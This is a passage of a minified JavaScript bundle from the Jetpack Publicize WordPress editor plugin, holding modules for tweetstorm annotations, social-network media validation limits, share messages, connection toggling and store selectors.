{\n\t\t\t\t\t\t\t\tcontent: "";\n\t\t\t\t\t\t\t\tbackground: #0009;\n\t\t\t\t\t\t\t\twidth: 3px;\n\t\t\t\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\t\t\t\tmargin: 0 1px;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t.is-dark-theme ${e}::after {\n\t\t\t\t\t\t\t\tbackground: #fff9;\n\t\t\t\t\t\t\t}`)))):React.createElement(e,t)}}t.Z=(0,o.compose)([(0,i.withSelect)(((e,t)=>{let{childProps:n}=t;const{isTweetStorm:r,getPopoverWarnings:a,getBoundariesForBlock:o,getBoundaryStyleSelectors:i,isSelectedTweetBoundary:s,getSupportedBlockType:l,contentAttributesChanged:c}=e("jetpack/publicize"),u=e("core/annotations").__experimentalGetAllAnnotationsForBlock(n.clientId);return{isTweetStorm:r(),isSelectedTweetBoundary:s(n),boundaries:o(n.clientId),boundaryStylesSelectors:i(n.clientId),popoverWarnings:a(n),currentAnnotations:u,supportedBlockType:l(n.name),contentAttributesChanged:c}})),(0,i.withDispatch)(((e,t,n)=>{let{childProps:r}=t,{select:a}=n;return{updateTweets:()=>e("jetpack/publicize").refreshTweets(),updateAnnotations:()=>{const{contentAttributesChanged:t,getTweetsForBlock:n}=a("jetpack/publicize"),o=n(r.clientId);if(!o||0===o.length)return;if(t(o.reduce(((e,t)=>e||t.blocks.find((e=>e.clientId===r.clientId))),!1),r))return;a("core/annotations").__experimentalGetAllAnnotationsForBlock(r.clientId).forEach((t=>{["jetpack-tweetstorm","jetpack-tweetstorm-line-break"].includes(t.source)&&e("core/annotations").__experimentalRemoveAnnotation(t.id)}));o.filter((e=>e.boundary)).map((e=>e.boundary)).forEach((t=>{const{container:n,type:a,start:o,end:i}=t;"normal"===a?e("core/annotations").__experimentalAddAnnotation({blockClientId:r.clientId,source:"jetpack-tweetstorm",richTextIdentifier:n,range:{start:o,end:i}}):"line-break"===a&&e("core/annotations").__experimentalAddAnnotation({blockClientId:r.clientId,source:"jetpack-tweetstorm-line-break",richTextIdentifier:n,range:{start:o,end:i}})}))}}}))])(c)},13858:function(e,t,n){"use strict";var r=n(69307),a=n(87728);t.Z=e=>{let{sourceUrl:t,mime:n,duration:o}=e;const[i,s]=(0,r.useState)(!1),[l,c]=(0,r.useState)(0),u=(0,r.useRef)(null),d=(0,r.useRef)(null),p=(0,r.useRef)(null);(0,r.useEffect)((()=>{u.current?.load()}),[t]);const m=(0,r.useCallback)((()=>{u.current.pause(),u.current.currentTime=0,clearInterval(d.current),clearTimeout(p.current),c(0),s(!1)}),[]),h=(0,r.useCallback)((()=>{p.current=setTimeout((()=>{i||(u.current.play(),s(!0),d.current=setInterval((()=>{c((e=>e+1))}),1e3))}),500)}),[i]),f=()=>{const e=o-l,t=Math.floor(e/60),n=String(Math.floor(e%60)).padStart(2,"0");return React.createElement("div",{className:a.Z.progress},React.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"6",height:"8",fill:"none"},React.createElement("path",{fill:"#fff",d:"M5.25 3.567a.5.5 0 0 1 0 .866L.75 7.031A.5.5 0 0 1 0 6.598V1.402A.5.5 0 0 1 .75.969l4.5 2.598Z"})),React.createElement("span",{className:a.Z.duration},`${t}:${n}`))};return React.createElement("div",{className:a.Z.wrapper,onMouseEnter:h,onMouseLeave:m},React.createElement("video",{ref:u,onEnded:m,muted:!0},React.createElement("source",{src:t,type:n})),React.createElement(f,null))}},88219:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(9818),a=n(12238),o=n(69307);const i="jetpack/publicize";function s(){const{editPost:e}=(0,r.useDispatch)(a.store),{shouldUploadAttachedMedia:t,attachedMedia:n,currentOptions:s}=(0,r.useSelect)((e=>({shouldUploadAttachedMedia:e(i).shouldUploadAttachedMedia(),attachedMedia:e(i).getAttachedMedia(),currentOptions:e(i).getJetpackSocialOptions()}))),l=(0,o.useCallback)(((t,n)=>{e({meta:{jetpack_social_options:{...s,[t]:n}}})}),[s,e]);return{attachedMedia:n,shouldUploadAttachedMedia:t,updateAttachedMedia:e=>l("attached_media",e),updateShouldUploadAttachedMedia:e=>l("should_upload_attached_media",e)}}},75263:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});var r=n(9818),a=n(12238),o=n(69307);const i="jetpack/publicize",s=(e,t)=>{var n,r,a,o,i;return{isEnabled:null!==(n=e?.enabled)&&void 0!==n?n:!t,customText:null!==(r=e?.custom_text)&&void 0!==r?r:null,imageType:null!==(a=e?.image_type)&&void 0!==a?a:null,imageId:null!==(o=e?.image_id)&&void 0!==o?o:null,template:null!==(i=e?.template)&&void 0!==i?i:null}};function l(){const{editPost:e}=(0,r.useDispatch)(a.store),{postSettings:t,currentOptions:n}=(0,r.useSelect)((e=>({postSettings:e(i).getImageGeneratorPostSettings(),currentOptions:e(i).getJetpackSocialOptions()}))),{isPostPublished:l}=(0,r.useSelect)((e=>({isPostPublished:e(a.store).isCurrentPostPublished()}))),c=(0,o.useCallback)(((r,a)=>{const o={...t,[r]:a};e({meta:{jetpack_social_options:{...n,image_generator_settings:o}}})}),[n,e,t]);return{...s(n?.image_generator_settings,l),setIsEnabled:e=>c("enabled",e),setCustomText:e=>c("custom_text",e),setImageType:e=>c("image_type",e),setImageId:e=>c("image_id",e),setTemplate:e=>c("template",e)}}},98811:function(e,t,n){"use strict";n.d(t,{Z:function(){return i}});var r=n(9818),a=n(99196);const o=async e=>{var t;if(!e)return{};let n={mime:e.mime_type,fileSize:e.media_details.filesize,length:e.media_details?.length};"video/videopress"===e.mime_type&&(n=await(async e=>{if(!e?.media_details?.videopress?.original||!e?.media_details?.videopress?.duration)return{};const t=await fetch(e?.media_details?.videopress?.original,{method:"HEAD"}),n=t.headers.get("content-length"),r=t.headers.get("content-type");return n&&r?{mime:r,fileSize:n,length:Math.round(e.media_details.videopress.duration/1e3)}:{}})(e));const r=null!==(t=e?.media_details?.sizes)&&void 0!==t?t:{};if(0===Object.keys(r).length)return{mediaData:{width:e.media_details.width,height:e.media_details.height,sourceUrl:e.source_url},metaData:n};const a=r.large||r.thumbnail;return{mediaData:{width:a.width,height:a.height,sourceUrl:a.source_url},metaData:n}};function i(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null;const[t,n]=(0,a.useState)({}),i=(0,r.useSelect)((t=>t("core").getMedia(e,{context:"view"})),[e]),s=(0,a.useCallback)((async()=>{try{const e=await o(i);n(null!=e?e:{})}catch{n({})}}),[i]);return(0,a.useEffect)((()=>{s()}),[s]),[t]}},46791:function(e,t,n){"use strict";n.d(t,{GQ:function(){return l},L7:function(){return s},Wv:function(){return c},X1:function(){return i},ZP:function(){return f},qL:function(){return o}});var r=n(99196),a=n(1795);const o="FILE_TYPE_ERROR",i="FILE_SIZE_ERROR",s="VIDEO_LENGTH_TOO_LONG_ERROR",l="VIDEO_LENGTH_TOO_SHORT_ERROR";function c(e){return"video"===e.split("/")[0]}const u=(e,t)=>Math.min(null!=e?e:a.zc,null!=t?t:a.zc),d=(e,t)=>Math.max(null!=e?e:0,null!=t?t:0),p=(e,t)=>({minSize:d(e.minSize,t.minSize),maxSize:u(e.maxSize,t.maxSize),maxLength:u(e.maxLength,t.maxLength),minLength:d(e.minLength,t.minLength)}),m=e=>e.map((e=>a.$8[e.service_name]?a.$8[e.service_name].video:a.ay.video)).reduce(p,[]),h=e=>{const t=e.map((e=>a.$8[e.service_name]?a.$8[e.service_name].allowedMediaTypes:a.ay.allowedMediaTypes));return 0===t.length?a.ay.allowedMediaTypes:t.reduce(((e,t)=>e.filter((e=>t.includes(e)))))};function f(e){const t=Math.min(...e.map((e=>a.$8[e.service_name]?a.$8[e.service_name].image.maxSize:a.ay.image.maxSize))),[n,u]=(0,r.useMemo)((()=>[m(e),h(e)]),[e]),d=(0,r.useCallback)((e=>!e||e>t?i:null),[t]),p=(0,r.useCallback)(((e,t)=>{const{minSize:r,maxSize:a,minLength:o,maxLength:c}=n;return!e||e>a||e<r?i:!t||t<o?l:t>c?s:null}),[n]),f=(0,r.useCallback)((e=>{const{mime:t,fileSize:n}=e;if(!(r=t)||!u.includes(r.toLowerCase()))return o;var r;const a=n?n/Math.pow(1e3,2):null;return c(t)?p(a,e.length):d(a)}),[d,p,u]);return{maxImageSize:t,videoLimits:n,allowedMediaTypes:u,getValidationError:f}}},1795:function(e,t,n){"use strict";n.d(t,{$8:function(){return d},ay:function(){return u},zc:function(){return c}});const r="video/mp4",a="video/mov",o="video/videopress",i=["image/jpeg","image/jpg","image/png"],s=i.concat(["image/gif","image/tiff","image/tif","image/bmp"]),l=i.concat(["image/gif","image/heic","image/heif","image/webp","image/avif"]),c=1e5,u={allowedMediaTypes:i.concat([r,o,a]),image:{maxSize:4},video:{minLength:0,minSize:0,maxSize:c,maxLength:c}},d={twitter:{allowedMediaTypes:i.concat([r,o]),image:{maxSize:5},video:{maxSize:512,maxLength:140}},facebook:{allowedMediaTypes:s.concat([o,"video/3g2","video/3gp","video/3gpp","video/asf","video/avi","video/dat","video/divx","video/dv","video/f4v","video/flv","video/gif","video/m2ts","video/m4v","video/mkv","video/mod","video/mov","video/mp4","video/mpe","video/mpeg","video/mpeg4","video/mpg","video/mts","video/nsv","video/ogm","video/ogv","video/qt","video/tod","video/ts","video/vob","video/wmv"]),image:{maxSize:4},video:{maxSize:1e4,maxLength:14400}},tumblr:{allowedMediaTypes:i.concat([r,a,o]),image:{maxSize:20},video:{maxSize:500,maxLength:600}},linkedin:{allowedMediaTypes:i.concat([r,o]),image:{maxSize:20},video:{minSize:.075,maxSize:200,maxLength:600,minLength:3}},mastodon:{allowedMediaTypes:l.concat(["video/webm","video/quicktime","video/ogg",r,o]),image:{maxSize:10},video:{maxSize:40}}}},14085:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(13419),a=n(9818),o=n(12238);const i="republicize";function s(){var e,t;const{togglePublicizeFeature:n}=(0,a.useDispatch)("jetpack/publicize"),s=null!==(e=(0,r.Pb)()?.social?.sharesData)&&void 0!==e?e:{},l=s.is_share_limit_enabled,c=(0,r.OZ)(i)?.available||l,u=(0,a.useSelect)((e=>e(o.store).isCurrentPostPublished()),[]),d=(0,a.useSelect)((e=>e("jetpack/publicize").getJetpackSocialPostAlreadyShared()),[]),p=null!==(t=(0,r.Pb)()?.social?.publicizeConnectionsUrl)&&void 0!==t?t:"https://wordpress.com/marketing/connections/",m=(0,a.useSelect)((e=>e("jetpack/publicize").getFeatureEnableState()),[]),h=(0,r.X1)(i)&&!c;return{isPublicizeEnabledMeta:m,isPublicizeEnabled:u?c:m,togglePublicizeFeature:n,isPublicizeDisabledBySitePlan:u&&h,isRePublicizeFeatureAvailable:c,isRePublicizeUpgradableViaUpsell:h,hidePublicizeFeature:u&&!c,isShareLimitEnabled:l,isPostAlreadyShared:d,numberOfSharesRemaining:s.shares_remaining,hasPaidPlan:!!(0,r.Pb)()?.social?.hasPaidPlan,isEnhancedPublishingEnabled:!!(0,r.Pb)()?.social?.isEnhancedPublishingEnabled,isSocialImageGeneratorAvailable:!!(0,r.Pb)()?.social?.isSocialImageGeneratorAvailable,isSocialImageGeneratorEnabled:!!(0,r.Pb)()?.social?.isSocialImageGeneratorEnabled,connectionsAdminUrl:p+(0,r.lQ)(),adminUrl:(0,r.Pb)()?.social?.adminUrl}}},86419:function(e,t,n){"use strict";n.d(t,{M1:function(){return s}});var r=n(94333),a=n(9818),o=n(12238),i=n(69307);function s(e,t){const n=(0,a.useSelect)((e=>e(o.store).isPublishingPost()),[]),s=(0,r.usePrevious)(n);(0,i.useEffect)((()=>{s&&!n&&e()}),[n,s,e,t])}},45579:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(13419),a=n(86989),o=n.n(a),i=n(9818),s=n(12238),l=n(69307),c=n(65736),u=n(37568),d=n(48751);const __=c.__;function p(e){const t=e?.code,n=e?.errors?.length;if(!t&&!n)return!1;let r="";return t&&(r=__("Unable to share the Post","jetpack")),n&&(r=__("Unable to share the Post","jetpack")),{message:r,result:e}}function m(e){var t;const{message:n}=(0,d.Z)(),{skippedConnections:a}=(0,u.Z)(),c=(0,i.useSelect)((e=>e(s.store).getCurrentPostId()),[]);e=e||c;const[m,h]=(0,l.useState)({data:[],error:{}}),f=(null!==(t=(0,r.Pb)()?.social?.resharePath)&&void 0!==t?t:"/wpcom/v2/posts/{postId}/publicize").replace("{postId}",e),g=(0,l.useCallback)((function(){const t={isFetching:!1,isError:!1,isSuccess:!1,data:[],error:{},postId:e};if(!m.isFetching)return h({...t,isFetching:!0}),o()({path:f,method:"POST",data:{message:n,skipped_connections:a}}).then((function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=p(e);if(t)return h((e=>({...e,isFetching:!1,isSuccess:!1,isError:!0,data:[],error:t})));h((t=>({...t,isFetching:!1,isSuccess:!0,isError:!1,data:e?.results,error:{}})))})).catch((e=>{h((t=>({...t,isFetching:!1,isSuccess:!1,isError:!0,data:[],error:p(e)})))})),function(){h(t)}}),[e,n,a,m.isFetching,f]);return{...m,doPublicize:g}}},37568:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(9818);function a(){const{refreshConnectionTestResults:e,toggleConnectionById:t}=(0,r.useDispatch)("jetpack/publicize"),n=(0,r.useSelect)((e=>e("jetpack/publicize").getConnections()),[]),a=n.filter((e=>!e.enabled)).map((e=>e.id)),o=n.filter((e=>e.enabled));return{connections:n,hasConnections:n.length>0,hasEnabledConnections:n&&n.some((e=>e.enabled)),skippedConnections:a,enabledConnections:o,toggleById:t,refresh:e}}},48751:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(9818),a=n(12238);function o(){const{editPost:e}=(0,r.useDispatch)(a.store),{message:t,maxLength:n}=(0,r.useSelect)((e=>({message:e("jetpack/publicize").getShareMessage(),maxLength:e("jetpack/publicize").getShareMessageMaxLength()})),[]);return{message:t,maxLength:n,updateMessage:function(t){e({meta:{jetpack_publicize_message:t}})}}}},13530:function(e,t,n){"use strict";n.r(t),n.d(t,{fetchFromAPI:function(){return s},getTwitterCards:function(){return u},refreshConnectionTestResults:function(){return a},refreshTweets:function(){return l},setTweets:function(){return c},setTwitterCards:function(){return d},toggleConnectionById:function(){return o},togglePublicizeFeature:function(){return i}});var r=n(9818);function a(){return{type:"REFRESH_CONNECTION_TEST_RESULTS"}}function o(e){return{type:"TOGGLE_CONNECTION_BY_ID",connectionId:e}}function i(){return{type:"TOGGLE_PUBLICIZE_FEATURE"}}function s(e){return{type:"FETCH_FROM_API",path:e}}function l(){return{type:"REFRESH_TWEETS"}}function c(e){return{type:"SET_TWEETS",tweets:e}}function u(e){const{twitterCardIsCached:t}=(0,r.select)("jetpack/publicize");return{type:"GET_TWITTER_CARDS",urls:e.filter((e=>!t(e)))}}function d(e){return{type:"SET_TWITTER_CARDS",cards:e}}},99376:function(e,t,n){"use strict";var r=n(86989),a=n.n(r);t.Z={FETCH_FROM_API:e=>{let{path:t}=e;return a()({path:t})}}},43785:function(e,t,n){"use strict";var r=n(13419),a=n(86989),o=n.n(a),i=n(4981),s=n(9818),l=n(12238),c=n(92819),u=n(68407);const d=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];const{getSupportedBlockType:t}=(0,s.select)("jetpack/publicize");return(0,c.flatMap)(e,(function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return t(e.name)||e.name.startsWith("core-embed/")?e:u.H8.includes(e.name)?d(e.innerBlocks):[]}))};const p=(0,c.throttle)((async function(){const e=(0,s.select)("core/block-editor").getBlocks(),t=d(e);try{const e=await o()({path:"/wpcom/v2/tweetstorm/parse",data:{blocks:t.map((e=>({attributes:e.attributes,block:(0,i.serialize)(e),clientId:e.clientId})))},method:"POST"}),n=(0,c.flatMap)(e,(e=>e.urls));return(0,s.dispatch)("jetpack/publicize").getTwitterCards(n),(0,s.dispatch)("jetpack/publicize").setTweets(e)}catch(e){}}),2e3,{leading:!0,trailing:!0});t.ZP={REFRESH_CONNECTION_TEST_RESULTS:async function(){try{var e;const t=null!==(e=(0,r.Pb)()?.social?.connectionRefreshPath)&&void 0!==e?e:"/wpcom/v2/publicize/connection-test-results",n=await o()({path:t}),a=(0,s.select)("jetpack/publicize").getConnections(),i=n,c=[],u={done:!1,enabled:!0,toggleable:!0};for(const e of i){const t=a.find((t=>t.id===e.id)),{done:n,enabled:r,toggleable:o}=null!=t?t:u,i={display_name:e.display_name,service_name:e.service_name,id:e.id,profile_picture:e.profile_picture,done:n,enabled:r,toggleable:o,is_healthy:e.test_success};c.push(i)}return(0,s.dispatch)(l.store).editPost({jetpack_publicize_connections:c})}catch(e){}},TOGGLE_CONNECTION_BY_ID:async function(e){let{connectionId:t}=e;const n=(0,s.select)("jetpack/publicize").getConnections().map((e=>({...e,enabled:e.id===t?!e.enabled:e.enabled})));return(0,s.dispatch)(l.store).editPost({jetpack_publicize_connections:n})},TOGGLE_PUBLICIZE_FEATURE:async function(){const e=(0,s.select)("jetpack/publicize").getFeatureEnableState();return(0,s.dispatch)(l.store).editPost({meta:{jetpack_publicize_feature_enabled:!e}})},REFRESH_TWEETS:p,GET_TWITTER_CARDS:async function(e){if(0===e.urls.length)return(0,s.dispatch)("jetpack/publicize").setTwitterCards([]);try{const t=await o()({path:"/wpcom/v2/tweetstorm/generate-cards",data:{urls:e.urls},method:"POST"});return(0,s.dispatch)("jetpack/publicize").setTwitterCards(t)}catch(e){}}}},77771:function(e,t,n){"use strict";var r=n(9818),a=n(13530),o=n(99376),i=n(92479),s=n(82726),l=n(34074);const c=(0,r.registerStore)("jetpack/publicize",{actions:a,controls:o.Z,reducer:s.Z,selectors:l});(0,i.Z)(c)},92479:function(e,t,n){"use strict";n.d(t,{Z:function(){return s}});var r=n(92819),a=n(24274),o=n.n(a),i=n(43785);function s(e){const t=[o()(i.ZP)];let n=()=>{throw new Error("Dispatching while constructing your middleware is not allowed. Other middleware would not be applied to this dispatch.")},a=[];const s={getState:e.getState,dispatch:function(){return n(...arguments)}};return a=t.map((e=>e(s))),n=(0,r.flowRight)(...a)(e.dispatch),e.dispatch=n,e}},82726:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});const r={tweets:[],twitterCards:[]};function a(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"REFRESH_CONNECTION_TEST_RESULTS":case"TOGGLE_CONNECTION_BY_ID":case"TOGGLE_PUBLICIZE_FEATURE":return e;case"SET_TWEETS":return{...e,tweets:t.tweets};case"GET_TWITTER_CARDS":{const n={};return t.urls.forEach((e=>n[e]={error:"loading"})),{...e,twitterCards:{...e.twitterCards,...n}}}case"SET_TWITTER_CARDS":return{...e,twitterCards:{...e.twitterCards,...t.cards}}}return e}},34074:function(e,t,n){"use strict";n.r(t),n.d(t,{checkForTagsInContentAttributes:function(){return x},contentAttributesChanged:function(){return T},getAttachedMedia:function(){return M},getBoundariesForBlock:function(){return C},getBoundaryStyleSelectors:function(){return j},getConnections:function(){return N},getFailedConnections:function(){return d},getFeatureEnableState:function(){return A},getFirstTweet:function(){return f},getImageGeneratorPostSettings:function(){return Z},getJetpackSocialOptions:function(){return R},getJetpackSocialPostAlreadyShared:function(){return I},getLastTweet:function(){return g},getMustReauthConnections:function(){return p},getPopoverWarnings:function(){return P},getShareMessage:function(){return E},getShareMessageMaxLength:function(){return w},getSupportedBlockType:function(){return b},getTweetStorm:function(){return h},getTweetTemplate:function(){return m},getTweetsForBlock:function(){return v},getTwitterCardForURLs:function(){return k},isSelectedTweetBoundary:function(){return L},isTweetStorm:function(){return _},shouldUploadAttachedMedia:function(){return B},twitterCardIsCached:function(){return y}});var r=n(9818),a=n(12238),o=n(65736),i=n(92819),s=n(96524),l=n(68407);const __=o.__,c=255,u="\n\n"+__("A thread ⬇️","jetpack");function d(){return N().filter((e=>!1===e.test_success))}function p(){return N().filter((e=>"must_reauth"===e.test_success)).map((e=>e.service_name))}function m(e){const t=e.connections||N(),n=t?.find((e=>"twitter"===e.service_name));return{date:Date.now(),name:n?.profile_display_name||__("Account Name","jetpack"),profileImage:n?.profile_picture||"https://abs.twimg.com/sticky/default_profile_images/default_profile_bigger.png",screenName:n?.display_name||""}}function h(e){const t=m(e),n=[f(e),...e.tweets.slice(0,100).map((n=>({...t,text:n.text,media:n.media,tweet:n.tweet,urls:n.urls,card:k(e,n.urls)})))];return n.length>1&&n.push(g(e)),n}function f(e){if(!(0,r.select)("core"))return;const t=m(e),{getMedia:n}=(0,r.select)("core"),{getEditedPostAttribute:a}=(0,r.select)("core/editor"),o=a("featured_media"),i=a("link"),s=o&&n(o),l=s?.media_details?.sizes?.large?.source_url||s?.source_url;return{...t,text:E()+` ${i}`,urls:[i],card:{title:a("title"),description:a("meta")?.advanced_seo_description||a("excerpt")||a("content").split("\x3c!--more")[0]||__("Visit the post for more.","jetpack"),url:i,image:l,type:l?"summary_large_image":"summary"}}}function g(e){if(!(0,r.select)("core/editor"))return;const{getEditedPostAttribute:t}=(0,r.select)("core/editor"),n=t("link"),a=e.tweets.length>100?__("The rest of this thread can be read here:","jetpack"):__("This thread can be read here:","jetpack");return{...f(e),text:`${a} ${n}`}}function b(e,t){if(l.nE[t])return l.nE[t]}const v=(0,s.Z)(((e,t)=>e.tweets.filter((e=>!!e.blocks.find((e=>e.clientId===t))))),(e=>[e.tweets]));function k(e,t){if(t)return t.reduce(((t,n)=>t||(e.twitterCards[n]&&!e.twitterCards[n].error?{url:n,...e.twitterCards[n]}:void 0)),void 0)}function y(e,t){return!!e.twitterCards[t]}function E(){const{getEditedPostAttribute:e}=(0,r.select)("core/editor"),t=e("meta"),n=e("title"),a=(0,i.get)(t,["jetpack_publicize_message"],"");return a?a.substr(0,w()):_()&&n?n.substr(0,w())+u:""}function w(){return _()?c-u.length:c}function _(){return!!(0,r.select)("core/editor").getEditedPostAttribute("meta")?.jetpack_is_tweetstorm}const C=(0,s.Z)(((e,t)=>{if(!_())return[];const n=v(e,t);return n&&0!==n.length?n.filter((e=>e.boundary)).map((e=>e.boundary)):[]}),(e=>[e.tweets]));function S(e,t){if(`block-${t}`===e.id)return`#block-${t}`;const n=e.parentNode,r=Array.prototype.indexOf.call(n.children,e);return S(n,t)+` > :nth-child( ${r+1} )`}const j=(0,s.Z)(((e,t)=>{const n=C(e,t),r=document.getElementById(`block-${t}`);return n.filter((e=>"end-of-line"===e.type)).map((e=>{if(!r)return!1;const n=r.getElementsByTagName("li").item(e.line);return!!n&&S(n,t)})).filter((e=>!!e))}),(e=>[e.tweets]));function x(e,t,n){if(0===n.length)return!1;if(!b(0,t.name)?.contentAttributes)return!1;const r=new RegExp(`<(${n.join("|")})( |>|/>)`,"gi");return b(0,t.name).contentAttributes.reduce(((e,n)=>!!e||r.test(t.attributes[n])),!1)}const P=(0,s.Z)(((e,t)=>{const{isTyping:n,isDraggingBlocks:a,isMultiSelecting:o,hasMultiSelection:i,isCaretWithinFormattedText:s}=(0,r.select)("core/block-editor");if(!_())return[];if(n()||a()||o()||i()||s())return[];const c=[];return b(0,t.name)||l.H8[t.name]?("core/gallery"===t.name&&t.attributes.images.length>4&&c.push(__("Twitter displays the first four images.","jetpack")),x(0,t,["strong","bold","em","i","sup","sub","span","s"])&&c.push(__("Twitter removes all text formatting.","jetpack")),x(0,t,["a"])&&c.push(__("Links will be posted seperately.","jetpack"))):c.push(__("This block is not exportable to Twitter","jetpack")),c}),(e=>[e.tweets]));function L(e,t){const{isBlockSelected:n}=(0,r.select)("core/block-editor");if(!_())return!1;const a=b(0,t.name),o=v(e,t.clientId);if(!o||0===o.length)return!1;const i=o[o.length-1];return n(t.clientId)&&!a||i.blocks[i.blocks.length-1].clientId===t.clientId&&o.some((e=>e.blocks.some((e=>n(e.clientId)))))}function T(e,t,n){const r=b(0,n.name);if(!r)return!1;const a=r.contentAttributes;return!(0,i.isEqual)(a.map((e=>({attribute:e,content:t.attributes[e]}))),a.map((e=>({attribute:e,content:n.attributes[e]}))))}function N(){return(0,r.select)(a.store).getEditedPostAttribute("jetpack_publicize_connections")||[]}function A(){const{getEditedPostAttribute:e}=(0,r.select)(a.store),t=e("meta");return(0,i.get)(t,["jetpack_publicize_feature_enabled"],!0)}function R(){const{getEditedPostAttribute:e}=(0,r.select)(a.store),t=e("meta");return(0,i.get)(t,["jetpack_social_options"],{})}function I(){const{getEditedPostAttribute:e}=(0,r.select)(a.store),t=e("meta");return(0,i.get)(t,["jetpack_social_post_already_shared"],{})}function M(){return(0,i.get)(R(),["attached_media"],[])}function B(){var e;return null!==(e=R()?.should_upload_attached_media)&&void 0!==e&&e}function Z(){var e;return null!==(e=R()?.image_generator_settings)&&void 0!==e?e:[]}},13419:function(e,t,n){"use strict";n.d(t,{Dp:function(){return u.Z},FK:function(){return c.FK},HD:function(){return c.HD},M6:function(){return o.M6},OZ:function(){return i.Z},Pb:function(){return r.Z},Qq:function(){return c.Qq},Rl:function(){return c.Rl},T:function(){return l.Z},Ug:function(){return o.Ug},Wp:function(){return o.Wp},X1:function(){return c.X1},_D:function(){return c._D},aQ:function(){return o.aQ},el:function(){return p.Z},lQ:function(){return a.Z},m3:function(){return c.m3},o_:function(){return s.Z},z$:function(){return d.Z}});var r=n(50148),a=n(35004),o=n(99505),i=n(48052),s=n(76714),l=n(80354),c=n(75404),u=n(68586),d=n(61053),p=n(11380)},50148:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});const r="Jetpack_Editor_Initial_State";function a(){var e;return"object"==typeof window&&null!==(e=window?.[r])&&void 0!==e?e:null}},48052:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(50148);function a(e){var t,n,a;const o=(0,r.Z)(),i=null!==(t=o?.available_blocks?.[e]?.available)&&void 0!==t&&t,s=null!==(n=o?.available_blocks?.[e]?.unavailable_reason)&&void 0!==n?n:"unknown",l=null!==(a=o?.available_blocks?.[e]?.details)&&void 0!==a?a:[];return{available:i,...!i&&{details:l,unavailableReason:s}}}},35004:function(e,t,n){"use strict";function r(){return window&&window.Jetpack_Editor_Initial_State&&window.Jetpack_Editor_Initial_State.siteFragment?window.Jetpack_Editor_Initial_State.siteFragment:null}n.d(t,{Z:function(){return r}})},61053:function(e,t,n){"use strict";var r=n(6975),a=n(31294),o=n(69307);const{tracks:i}=r.Z,{recordEvent:s}=i;t.Z=function(){let{pageViewEventName:e=null,pageViewNamespace:t="jetpack",pageViewSuffix:n="page_view",pageViewEventProperties:l={}}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const[c,u]=(0,o.useState)(!1),{isUserConnected:d,isRegistered:p,userConnectionData:m={}}=(0,a.Z)(),{wpcomUser:{login:h,ID:f}={},blogId:g}=m.currentUser||{},b=(0,o.useCallback)((async function(e){d&&f&&h&&s(e,arguments.length>1&&void 0!==arguments[1]?arguments[1]:{})}),[d,f,h]);return(0,o.useEffect)((()=>{d&&f&&h&&g&&r.Z.initialize(f,h,{blog_id:g})}),[g,f,h,d]),(0,o.useEffect)((()=>{const r=e?`${t}_${e}_${n}`:null;p&&r&&(c||(b(r,l),u(!0)))}),[c,t,e,n,p,l,b]),{recordEvent:b,tracks:i}}},11380:function(e,t,n){"use strict";var r=n(86989),a=n.n(r),o=n(69307),i=n(99505);async function s(e){if((0,i.Wp)())return!0;try{const t=await async function(){try{return await a()({path:"/jetpack/v4/module/all",method:"GET"})}catch(e){return e.message}}();return!(!t||!t.hasOwnProperty(e))&&!!t[e].activated}catch(e){return!1}}t.Z=e=>{const[t,n]=(0,o.useState)(Boolean(e)),[r,i]=(0,o.useState)(!1),[l,c]=(0,o.useState)(!1);(0,o.useEffect)((()=>{e&&(n(!0),s(e).then((e=>{c(e),n(!1)})))}),[e]);const u=(0,o.useCallback)((t=>{e&&l!==t&&(i(!0),async function(e,t){return await a()({path:`/jetpack/v4/module/${e}/active`,method:"POST",data:{active:t}})}(e,t).then((()=>{c(t),i(!1)})).catch((()=>{i(!1)})))}),[e,l]);return(0,o.useMemo)((()=>({isLoadingModules:t,isChangingStatus:r,isModuleActive:l,changeStatus:u})),[t,r,l,u])}},68586:function(e,t,n){"use strict";n.d(t,{Z:function(){return a}});var r=n(50148);function a(){var e;return null!==(e=(0,r.Z)()?.jetpack?.is_current_user_connected)&&void 0!==e&&e}},75404:function(e,t,n){"use strict";n.d(t,{FK:function(){return f},HD:function(){return g},Qq:function(){return u},Rl:function(){return m},X1:function(){return d},_D:function(){return p},m3:function(){return b}});var r=n(65736),a=n(96483),o=n(92819),i=n(50148),s=n(48052),l=n(35004),c=n(99505);const __=r.__;function u(e){let{planSlug:t,plan:n,postId:r,postType:i}=e;const s=(0,o.startsWith)(t,"jetpack_")?t:(0,o.get)(n,["path_slug"]),u=(void 0===i?()=>{const e=new URLSearchParams(window.location.search);return(0,a.addQueryArgs)(window.location.protocol+`//${(0,l.Z)().replace("::","/")}/wp-admin/site-editor.php`,{postId:e.get("postId"),postType:e.get("postType"),plan_upgraded:1})}:()=>{const e=["page","post"].includes(i)?"":"edit";return(0,c.Wp)()?(0,a.addQueryArgs)("/"+(0,o.compact)([e,i,(0,l.Z)(),r]).join("/"),{plan_upgraded:1}):(0,a.addQueryArgs)(window.location.protocol+`//${(0,l.Z)().replace("::","/")}/wp-admin/post.php`,{action:"edit",post:r,plan_upgraded:1})})();return(0,c.Ug)()?(0,a.addQueryArgs)(`https://wordpress.com/plans/${(0,l.Z)()}`,{redirect_to:u,customerType:"business"}):s&&(0,a.addQueryArgs)(`https://wordpress.com/checkout/${(0,l.Z)()}/${s}`,{redirect_to:u})}function d(e){if(!e)return!1;const 